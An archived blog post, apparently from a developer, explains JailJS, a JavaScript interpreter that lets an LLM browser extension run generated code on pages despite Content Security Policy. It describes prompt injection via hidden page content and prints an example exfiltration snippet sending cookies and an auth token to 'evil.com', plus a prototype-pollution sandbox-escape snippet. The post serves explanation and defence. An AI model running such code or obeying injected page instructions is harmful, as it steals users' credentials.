{
  "@context": "https://schema.org",
  "@id": "https://aggr.aymericbeaumet.com/items/mariozechner-at/2025-10-05-infinite-footguns-writing-a-javascript-interpreter-in/#webpage",
  "@type": [
    "WebPage",
    "ArchiveComponent"
  ],
  "articleBody": "![](https://mariozechner.at/posts/2025-10-05-jailjs/media/footgun.webp)\\\nMe, coding\n\n- [I got 99 problems but... now I got even more](https://mariozechner.at/posts/2025-10-05-jailjs#toc_0)\n- [A matter of interpretation](https://mariozechner.at/posts/2025-10-05-jailjs#toc_1)\n- [Nitty gritty details](https://mariozechner.at/posts/2025-10-05-jailjs#toc_2)\n- [Putting the sand in the sandbox](https://mariozechner.at/posts/2025-10-05-jailjs#toc_3)\n- [JailJS: It just works (mostly)](https://mariozechner.at/posts/2025-10-05-jailjs#toc_4)\n\nThursday I had a wisdom tooth extraction and I still feel unwell. Thank you for asking. Before this unfortunate event, I worked on a little browser extension that lets me navigate the web in the browser together with an LLM, which is hosted in the browser extension's side panel. Here you can see it in action. Check out the rest of my YouTube channel, there are more demonstrations there.\n\n[YouTube video player](https://www.youtube.com/watch?v=kc8YL3P4LUc)\n\nThe LLM has a tool that can inject any sort of JavaScript into the active page to get its contents, manipulate it, click on buttons, and so on and so forth. One nice use case, for example, is to let it use Google directly instead of something like [Exa](https://exa.ai/), navigate the web, and collect information for me, then spit it out as a nicely formatted markdown file. Not only do I get the markdown file, but I also have full observability of what exactly it read and can follow its traces in the browser history.\n\n## I got 99 problems but... now I got even more\n\nNow the problem with this is that the LLM can write any old code that gets executed in the current page's JavaScript context. This implies that it has full access to anything on that page, not only the DOM, but also local storage, non-HTTP only cookies, IndexedDB, and other possibly sensitive information. Exfiltrating that data to an adversary is only a fetch call or an image with a source attribute away. So why would it do that? I surely wouldn't instruct my LLM to send my sensitive data to an adversary.\n\nWell, LLMs can get [prompt injected](https://simonwillison.net/2023/Apr/14/worst-that-can-happen/), and it's easier than you think. It still affects all [current SOTA LLMs](https://www.anthropic.com/news/claude-for-chrome). As you navigate the web with your trusty LLM, you might visit a page with some invisible content that instructs the LLM to exfiltrate data the next time you visit your bank or social media account. And if you are not observing what your LLM is doing, your data might get stolen.\n\nThat's one problem. The other problem is that there is something called [Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP), which you might have heard of if you've ever worked with web technologies. CSP lets sites define what sources JavaScript can execute from, whether inline scripts or eval are allowed, and which URLs external scripts can be loaded from. And CSP can prevent my browser extension from injecting the LLM generated code into the site. It's a pretty common practice, especially among bigger sites like social media sites, search engine sites, and so on.\n\nUsing the Chrome extension API as an example, here's how we can run a function defined inside of our extension in the currently active tab:\n\n```javascript\n// Browser extension code\nfunction myPredefinedFunction() {\n    return document.title;\n}\n\nconst [tab] = await chrome.tabs.query({ active: true, currentWindow: true });\nchrome.scripting.executeScript({\n    target: { tabId: tab.id },\n    func: myPredefinedFunction\n});\n```\n\nThis actually works on any site, irrespective of its CSP. The reason for that is that the function is statically defined in the extension, and it is serializable. That means it has no external dependencies on other functions in the extension or third-party code imported from modules.\n\nSo far so good, but this only handles functions defined statically in our extension. How about arbitrary code that gets generated at runtime by a user, like in [Tampermonkey](https://www.tampermonkey.net/), or by an LLM, like in my extension above? Here's how that could look like:\n\n```javascript\n// Using eval\nconst userCode = `console.log(document.title)`;\nchrome.scripting.executeScript({\n    target: { tabId: tab.id },\n    func: (code) => eval(code),\n    args: [userCode]\n});\n\n// Using new Function\nchrome.scripting.executeScript({\n    target: { tabId: tab.id },\n    func: (code) => new Function(code)(),\n    args: [userCode]\n});\n\n// Injecting a script tag\nchrome.scripting.executeScript({\n    target: { tabId: tab.id },\n    func: (code) => {\n        const script = document.createElement('script');\n        script.textContent = code;\n        document.body.appendChild(script);\n    },\n    args: [userCode]\n});\n```\n\nThese can work depending on the CSP of the site, but as I said, on bigger sites, these are usually super not allowed. So how can we make this work?\n\n## A matter of interpretation\n\nSo how can we make code dynamically defined at runtime by a user or an LLM statically defined? Well, we really can't. But what we can statically define is a parser and interpreter that takes that string of code and interprets it. If you want to learn more about interpreters, I suggest reading Bob Nystrom's [Crafting Interpreters](https://craftinginterpreters.com/). It's an especially accessible book on the matter of parsing, compilation, and interpretation, especially compared to the books that I learned from, like the Dragon Book.\n\nWe can define a simple interface for our interpreter that looks like this:\n\n```javascript\nimport { Interpreter, parse } from '@mariozechner/jailjs';\n\nconst ast = parse('2 + 2');\nconst interpreter = new Interpreter();\nconst result = interpreter.evaluate(ast);\n```\n\nLet's totally ignore what `parse` and `interpreter.evaluate` do on the inside. All we need to know at this stage is that `parse` returns an [abstract syntax tree](https://en.wikipedia.org/wiki/Abstract_syntax_tree). That is the input to the interpreter, which then walks this tree structure and evaluates each node within it, simulating what the JavaScript engine would do, just in a very, very slow way. In the above example, `result` would be assigned the number four, which is the evaluation result of the JavaScript code.\n\nSo how can we jam the parser and interpreter into a self-contained function that we can execute via `chrome.scripting.executeScript` in the active tab's JavaScript context?\n\nThe trick is to use a content script. Content scripts are JavaScript files that run in the context of web pages, and they can be bundled with all their dependencies using a tool like esbuild. We bundle the parser and interpreter into our content script, which gets loaded for every page. The content script then sets up a message listener that receives code to execute and returns the result.\n\nHere's the minimal setup:\n\n```javascript\n// content.js - bundled with parser and interpreter\nimport { Interpreter, parse } from '@mariozechner/jailjs';\n\nconst interpreter = new Interpreter();\n\nchrome.runtime.onMessage.addListener((message, sender, sendResponse) => {\n    if (message.type === 'EXECUTE_CODE') {\n        try {\n            const ast = parse(message.code);\n            const result = interpreter.evaluate(ast);\n            sendResponse({ success: true, result });\n        } catch (error) {\n            sendResponse({ success: false, error: error.message });\n        }\n    }\n    return true; // Keep channel open for async response\n});\n```\n\nAnd from our extension's side panel or popup, we send the code:\n\n```javascript\n// Send code to content script\nconst [tab] = await chrome.tabs.query({ active: true, currentWindow: true });\nconst response = await chrome.tabs.sendMessage(tab.id, {\n    type: 'EXECUTE_CODE',\n    code: userCode\n});\n\nif (response.success) {\n    console.log('Result:', response.result);\n}\n```\n\nAnd that's the basic setup. The content.js file is all static, the interpreter is all static and known ahead of time. But it lets us execute arbitrary code, albeit slowly, irrespective of the site's CSP. We are not using eval, new Function, or a script tag.\n\nCongratulations us, we just broke the web.\n\n## Nitty gritty details\n\nAlright, let's look inside `parse` and the interpreter. Starting with parsing, while I am a madman, I'm not mad enough to write a JavaScript parser. Instead, I'm using the marvelous work of the [Babel](https://babeljs.io/) team, who have graciously created a wonderful little standalone package, [Babel standalone](https://babeljs.io/docs/babel-standalone), which makes parsing JavaScript into a well-defined abstract syntax tree easy as pie.\n\nHere's what the AST for a simple program looks like:\n\n```javascript\nvar x = 5;\nvar y = 10;\nx + y\n```\n\n```json\n[\n  {\n    \"type\": \"VariableDeclaration\",\n    \"kind\": \"var\",\n    \"id\": \"x\",\n    \"init\": { \"type\": \"NumericLiteral\", \"value\": 5 }\n  },\n  {\n    \"type\": \"VariableDeclaration\",\n    \"kind\": \"var\",\n    \"id\": \"y\",\n    \"init\": { \"type\": \"NumericLiteral\", \"value\": 10 }\n  },\n  {\n    \"type\": \"ExpressionStatement\",\n    \"expression\": {\n      \"type\": \"BinaryExpression\",\n      \"left\": { \"type\": \"Identifier\", \"name\": \"x\" },\n      \"operator\": \"+\",\n      \"right\": { \"type\": \"Identifier\", \"name\": \"y\" }\n    }\n  }\n]\n```\n\nThe AST consists of nodes where each node represents a language concept like a variable declaration, a binary expression like an addition, numeric literals, identifiers, function calls, and so on. How do we know which AST node types are available? Well, that depends on the flavor of JavaScript we are trying to compile. The most basic standardized version of JavaScript is ECMAScript 5 from 2009, which is still widely used as a baseline.\n\nThe wonderful people of the [ESTree project](https://github.com/estree/estree/blob/master/es5.md) have documented which AST nodes we can expect for ES5. So to build an interpreter, all that's left is to have a big fat switch statement that interprets, that is, executes each type of AST node recursively.\n\nHere's a simplified version of what that looks like:\n\n```javascript\nfunction evaluate(node, scope) {\n    switch (node.type) {\n        case \"NumericLiteral\":\n            return node.value;\n\n        case \"Identifier\":\n            return scope.getVariable(node.name);\n\n        case \"BinaryExpression\":\n            const left = evaluate(node.left, scope);\n            const right = evaluate(node.right, scope);\n            switch (node.operator) {\n                case \"+\": return left + right;\n                case \"-\": return left - right;\n                case \"*\": return left * right;\n                case \"/\": return left / right;\n                // ... more operators\n            }\n\n        case \"VariableDeclaration\":\n            for (const decl of node.declarations) {\n                const value = decl.init ? evaluate(decl.init, scope) : undefined;\n                scope.declareVariable(decl.id.name, value);\n            }\n            return undefined;\n\n        // ... 50+ more cases for all ES5 features\n    }\n}\n```\n\nThe `scope` parameter keeps track of variables and their values. Each function creates a new scope that can access variables from its parent scope, forming a chain. When you look up a variable, you start in the current scope and walk up the chain to the global scope. If you can't find it, you throw an error that the variable is undefined.\n\nNow, again, I suggest reading Bob's book. And if you're brave, you can look at the [actual interpreter code](https://github.com/badlogic/jailjs/blob/main/src/interpreter.ts) that powers JailJS (the little interpreter project this blog post is actually about). As you can see, it's a little bit more involved than the above examples make it out to be, but it's also not rocket science.\n\nThe interpreter actually handles all of the ES5 spec. Through the power of Babel's transpiler, we can also take ES6+ or even TypeScript or JSX code and have it compiled down to ES5 so our interpreter can run that too. That means we can also use async/await, classes, and other ES6+ features. That said, in its current iteration, the interpreter cannot deal with some more advanced ES6+ features like generators, ES6 modules, Proxies, Reflect, WeakRef, SharedArrayBuffer, or Atomics.\n\nBut wait, wasn't this supposed to be kind of like a sandbox from which the LLM shouldn't be able to escape like a demented Houdini?\n\n## Putting the sand in the sandbox\n\nThe key to sandboxing is controlling what the interpreted code has access to. Remember that `scope` parameter we pass to the interpreter? We can populate it with exactly the APIs we want the code to have access to, and nothing more. The code being interpreted can't reach out into the surrounding JavaScript execution environment and access things we didn't explicitly provide. Well, at least that's the theory.\n\nBy default, JailJS provides a minimal set of globals: `console`, `Math`, `JSON`, `Date`, `RegExp`, basic constructors like `Array` and `Object`, error types, and global functions like `parseInt` and `parseFloat`. Notably absent are `window`, `document`, `fetch`, and other browser APIs. And critically, `Function` and `eval` are blocked to prevent the code from breaking out of the sandbox.\n\nBut we can inject additional APIs as needed. For example, in the extension use case, we can inject `document` so the LLM-generated code can interact with the DOM, like reading DOM contents, clicking buttons, or modifying DOM elements:\n\n```javascript\nconst interpreter = new Interpreter({\n    document: document,\n    console: console\n});\n```\n\nAstute readers will immediately see the problem with that. Let me illustrate what a prompt-injected LLM could generate:\n\n```javascript\n// Code to be interpreted - exfiltrates sensitive data\nvar cookies = document.cookie;\nvar win = document.defaultView;\nvar localStorage = win.localStorage.getItem('auth_token');\n\n// Send to evil server via image beacon\nvar img = document.createElement('img');\nimg.src = 'https://evil.com/steal?data=' + encodeURIComponent(cookies + '|' + localStorage);\ndocument.body.appendChild(img);\n```\n\nNow we can play a cat and mouse game and try to expose `document` while preventing access to specific properties on it, like `defaultView` which gives access to the global `window` object, which in turn gives access to local storage and cookies:\n\n```javascript\nconst proxiedDoc = new Proxy(document, {\n    get(target, prop) {\n        if (prop === 'defaultView' || prop === 'ownerDocument') {\n            return undefined;\n        }\n        const value = target[prop];\n        return typeof value === 'function' ? value.bind(target) : value;\n    }\n});\n\nconst interpreter = new Interpreter({\n    document: proxiedDoc\n});\n```\n\nBut ultimately, this is a Sisyphean task, and we are bound to fail gloriously. There's basically an infinite amount of attack vectors we would need to patch, which is really fucking hard.\n\nThe alternative is to not expose native objects like `document` directly, but instead expose custom-defined functions for specific tasks. For example, instead of giving full DOM access, we could provide:\n\n```javascript\nconst interpreter = new Interpreter({\n    // Safe, limited API\n    getPageText: () => document.body.innerText,\n    findButtons: () => Array.from(document.querySelectorAll('button')).map(b => b.innerText),\n    clickButton: (text) => {\n        const btn = Array.from(document.querySelectorAll('button'))\n            .find(b => b.innerText === text);\n        if (btn) btn.click();\n    },\n    fillInput: (selector, value) => {\n        const input = document.querySelector(selector);\n        if (input) input.value = value;\n    }\n});\n```\n\nThe downside to this is that you still have to be very mindful of what you expose in your custom API. And in the LLM use case, you have to explicitly teach the LLM about your custom API. This may not work as well as the LLM just calling into DOM APIs, which it knows about from its vast training set.\n\nThat leaves us with ways to escape the interpreter and access the surrounding JavaScript execution environment through things like prototype pollution. For example:\n\n```javascript\n// Code to be interpreted - pollutes Array prototype to escape\nArray.prototype.push = function() {\n    // Now we have access to 'this' which is a real Array\n    // We can walk up to get the global scope (if CSP allows eval)\n    return this.constructor.constructor('return this')();\n};\n\nvar arr = [];\narr.push(); // Returns window/globalThis\n```\n\nJailJS, my little JavaScript interpreter library, does prevent this specific case and others. But as I said, there's a million attack vectors and it's very, very hard to enumerate all of them while keeping the full ES5 feature set. [SandboxJS](https://github.com/nyariv/SandboxJS) has a stricter approach to securing the sandbox and could be a good alternative. However, there are some [deal-breaking bugs](https://github.com/nyariv/SandboxJS/issues/27). Maybe I can steal their sandbox technology.\n\n## JailJS: It just works (mostly)\n\n[JailJS](https://github.com/badlogic/jailjs) is my contribution to a less safe world. Here is [JailJS used by a demo browser extension](https://github.com/badlogic/jailjs/tree/main/example/chrome-extension) to manipulate the site that shall not be named, which has a very strict CSP.\n\nIt does succeed in solving my first problem, that is executing arbitrary code injected from an extension into a page with a CSP that disallows eval or script tags. Where it does fail is that it cannot 100% rule out that the arbitrary code can escape the sandbox and exfiltrate sensitive data.\n\nYou win some, you lose some.\n\nThis page respects your privacy by not using cookies or similar technologies and by not collecting any personally identifiable information.\n",
  "authors": [],
  "captured_at": "2026-09-27T19:29:15.293681927+00:00",
  "category": "programming",
  "content_html": "<figure class=\"article-figure\"><picture class=\"article-picture article-picture-fallback\" style=\"--image-ratio:16 / 9\"><img src=\"https://mariozechner.at/posts/2025-10-05-jailjs/media/footgun.webp\" alt=\"\" loading=\"eager\" decoding=\"async\" fetchpriority=\"high\" referrerpolicy=\"no-referrer\" class=\"progressive-image\"></picture><figcaption>Me, coding</figcaption></figure>\n<ul>\n<li><a target=\"_blank\" rel=\"noopener noreferrer\" href=\"https://mariozechner.at/posts/2025-10-05-jailjs#toc_0\">I got 99 problems but... now I got even more</a></li>\n<li><a target=\"_blank\" rel=\"noopener noreferrer\" href=\"https://mariozechner.at/posts/2025-10-05-jailjs#toc_1\">A matter of interpretation</a></li>\n<li><a target=\"_blank\" rel=\"noopener noreferrer\" href=\"https://mariozechner.at/posts/2025-10-05-jailjs#toc_2\">Nitty gritty details</a></li>\n<li><a target=\"_blank\" rel=\"noopener noreferrer\" href=\"https://mariozechner.at/posts/2025-10-05-jailjs#toc_3\">Putting the sand in the sandbox</a></li>\n<li><a target=\"_blank\" rel=\"noopener noreferrer\" href=\"https://mariozechner.at/posts/2025-10-05-jailjs#toc_4\">JailJS: It just works (mostly)</a></li>\n</ul>\n<p>Thursday I had a wisdom tooth extraction and I still feel unwell. Thank you for asking. Before this unfortunate event, I worked on a little browser extension that lets me navigate the web in the browser together with an LLM, which is hosted in the browser extension's side panel. Here you can see it in action. Check out the rest of my YouTube channel, there are more demonstrations there.</p>\n<p><a target=\"_blank\" rel=\"noopener noreferrer\" href=\"https://www.youtube.com/watch?v=kc8YL3P4LUc\">YouTube video player</a></p>\n<p>The LLM has a tool that can inject any sort of JavaScript into the active page to get its contents, manipulate it, click on buttons, and so on and so forth. One nice use case, for example, is to let it use Google directly instead of something like <a target=\"_blank\" rel=\"noopener noreferrer\" href=\"https://exa.ai/\">Exa</a>, navigate the web, and collect information for me, then spit it out as a nicely formatted markdown file. Not only do I get the markdown file, but I also have full observability of what exactly it read and can follow its traces in the browser history.</p>\n<h2>I got 99 problems but... now I got even more</h2>\n<p>Now the problem with this is that the LLM can write any old code that gets executed in the current page's JavaScript context. This implies that it has full access to anything on that page, not only the DOM, but also local storage, non-HTTP only cookies, IndexedDB, and other possibly sensitive information. Exfiltrating that data to an adversary is only a fetch call or an image with a source attribute away. So why would it do that? I surely wouldn't instruct my LLM to send my sensitive data to an adversary.</p>\n<p>Well, LLMs can get <a target=\"_blank\" rel=\"noopener noreferrer\" href=\"https://simonwillison.net/2023/Apr/14/worst-that-can-happen/\">prompt injected</a>, and it's easier than you think. It still affects all <a target=\"_blank\" rel=\"noopener noreferrer\" href=\"https://www.anthropic.com/news/claude-for-chrome\">current SOTA LLMs</a>. As you navigate the web with your trusty LLM, you might visit a page with some invisible content that instructs the LLM to exfiltrate data the next time you visit your bank or social media account. And if you are not observing what your LLM is doing, your data might get stolen.</p>\n<p>That's one problem. The other problem is that there is something called <a target=\"_blank\" rel=\"noopener noreferrer\" href=\"https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP\">Content Security Policy</a>, which you might have heard of if you've ever worked with web technologies. CSP lets sites define what sources JavaScript can execute from, whether inline scripts or eval are allowed, and which URLs external scripts can be loaded from. And CSP can prevent my browser extension from injecting the LLM generated code into the site. It's a pretty common practice, especially among bigger sites like social media sites, search engine sites, and so on.</p>\n<p>Using the Chrome extension API as an example, here's how we can run a function defined inside of our extension in the currently active tab:</p>\n<pre><code class=\"language-javascript\"><span class=\"code-snippet\" data-language=\"JavaScript\"><span class=\"syntax-source syntax-js\"><span class=\"syntax-comment syntax-line syntax-double-slash syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-comment syntax-js\">//</span> Browser extension code\n</span><span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"><span class=\"syntax-storage syntax-type syntax-function syntax-js\">function</span> <span class=\"syntax-entity syntax-name syntax-function syntax-js\">myPredefinedFunction</span><span class=\"syntax-punctuation syntax-section syntax-group syntax-begin syntax-js\">(</span><span class=\"syntax-punctuation syntax-section syntax-group syntax-end syntax-js\">)</span><span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"> </span></span><span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n    <span class=\"syntax-keyword syntax-control syntax-flow syntax-js\">return</span> <span class=\"syntax-support syntax-type syntax-object syntax-dom syntax-js\">document</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">title</span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n<span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span>\n\n<span class=\"syntax-storage syntax-type syntax-js\">const</span> <span class=\"syntax-meta syntax-sequence syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-brackets syntax-js\">[</span><span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">tab</span><span class=\"syntax-punctuation syntax-section syntax-brackets syntax-js\">]</span></span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">await</span> <span class=\"syntax-variable syntax-other syntax-object syntax-js\">chrome</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">tabs</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">query</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-meta syntax-object-literal syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span> <span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\">active</span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> <span class=\"syntax-constant syntax-language syntax-boolean syntax-true syntax-js\">true</span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span> <span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\">currentWindow</span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> <span class=\"syntax-constant syntax-language syntax-boolean syntax-true syntax-js\">true</span> <span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n<span class=\"syntax-variable syntax-other syntax-object syntax-js\">chrome</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">scripting</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">executeScript</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-meta syntax-object-literal syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n    <span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\">target</span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> <span class=\"syntax-meta syntax-object-literal syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span> <span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\">tabId</span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> <span class=\"syntax-variable syntax-other syntax-object syntax-js\">tab</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">id</span> <span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span>\n    <span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\">func</span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">myPredefinedFunction</span>\n<span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n</span></span></code></pre>\n<p>This actually works on any site, irrespective of its CSP. The reason for that is that the function is statically defined in the extension, and it is serializable. That means it has no external dependencies on other functions in the extension or third-party code imported from modules.</p>\n<p>So far so good, but this only handles functions defined statically in our extension. How about arbitrary code that gets generated at runtime by a user, like in <a target=\"_blank\" rel=\"noopener noreferrer\" href=\"https://www.tampermonkey.net/\">Tampermonkey</a>, or by an LLM, like in my extension above? Here's how that could look like:</p>\n<pre><code class=\"language-javascript\"><span class=\"code-snippet\" data-language=\"JavaScript\"><span class=\"syntax-source syntax-js\"><span class=\"syntax-comment syntax-line syntax-double-slash syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-comment syntax-js\">//</span> Using eval\n</span><span class=\"syntax-storage syntax-type syntax-js\">const</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">userCode</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-string syntax-template syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-template syntax-begin syntax-js\">`</span>console.log(document.title)<span class=\"syntax-punctuation syntax-definition syntax-string syntax-template syntax-end syntax-js\">`</span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n<span class=\"syntax-variable syntax-other syntax-object syntax-js\">chrome</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">scripting</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">executeScript</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-meta syntax-object-literal syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n    <span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\">target</span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> <span class=\"syntax-meta syntax-object-literal syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span> <span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\">tabId</span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> <span class=\"syntax-variable syntax-other syntax-object syntax-js\">tab</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">id</span> <span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span>\n    <span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"><span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\"><span class=\"syntax-entity syntax-name syntax-function syntax-js\">func</span></span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> </span><span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-begin syntax-js\">(</span><span class=\"syntax-variable syntax-parameter syntax-function syntax-js\">code</span><span class=\"syntax-punctuation syntax-section syntax-group syntax-end syntax-js\">)</span><span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"> </span><span class=\"syntax-storage syntax-type syntax-function syntax-arrow syntax-js\">=&gt;</span></span> <span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-meta syntax-function-call syntax-js\"><span class=\"syntax-support syntax-function syntax-js\">eval</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">code</span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span></span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span>\n    <span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\">args</span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> <span class=\"syntax-meta syntax-sequence syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-brackets syntax-js\">[</span><span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">userCode</span><span class=\"syntax-punctuation syntax-section syntax-brackets syntax-js\">]</span></span>\n<span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n\n<span class=\"syntax-comment syntax-line syntax-double-slash syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-comment syntax-js\">//</span> Using new Function\n</span><span class=\"syntax-variable syntax-other syntax-object syntax-js\">chrome</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">scripting</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">executeScript</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-meta syntax-object-literal syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n    <span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\">target</span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> <span class=\"syntax-meta syntax-object-literal syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span> <span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\">tabId</span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> <span class=\"syntax-variable syntax-other syntax-object syntax-js\">tab</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">id</span> <span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span>\n    <span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"><span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\"><span class=\"syntax-entity syntax-name syntax-function syntax-js\">func</span></span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> </span><span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-begin syntax-js\">(</span><span class=\"syntax-variable syntax-parameter syntax-function syntax-js\">code</span><span class=\"syntax-punctuation syntax-section syntax-group syntax-end syntax-js\">)</span><span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"> </span><span class=\"syntax-storage syntax-type syntax-function syntax-arrow syntax-js\">=&gt;</span></span> <span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-meta syntax-instance syntax-constructor syntax-js\"><span class=\"syntax-keyword syntax-operator syntax-word syntax-new syntax-js\">new</span><span class=\"syntax-meta syntax-function-call syntax-constructor syntax-js\"> <span class=\"syntax-support syntax-class syntax-builtin syntax-js\">Function</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">code</span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span>\n    <span 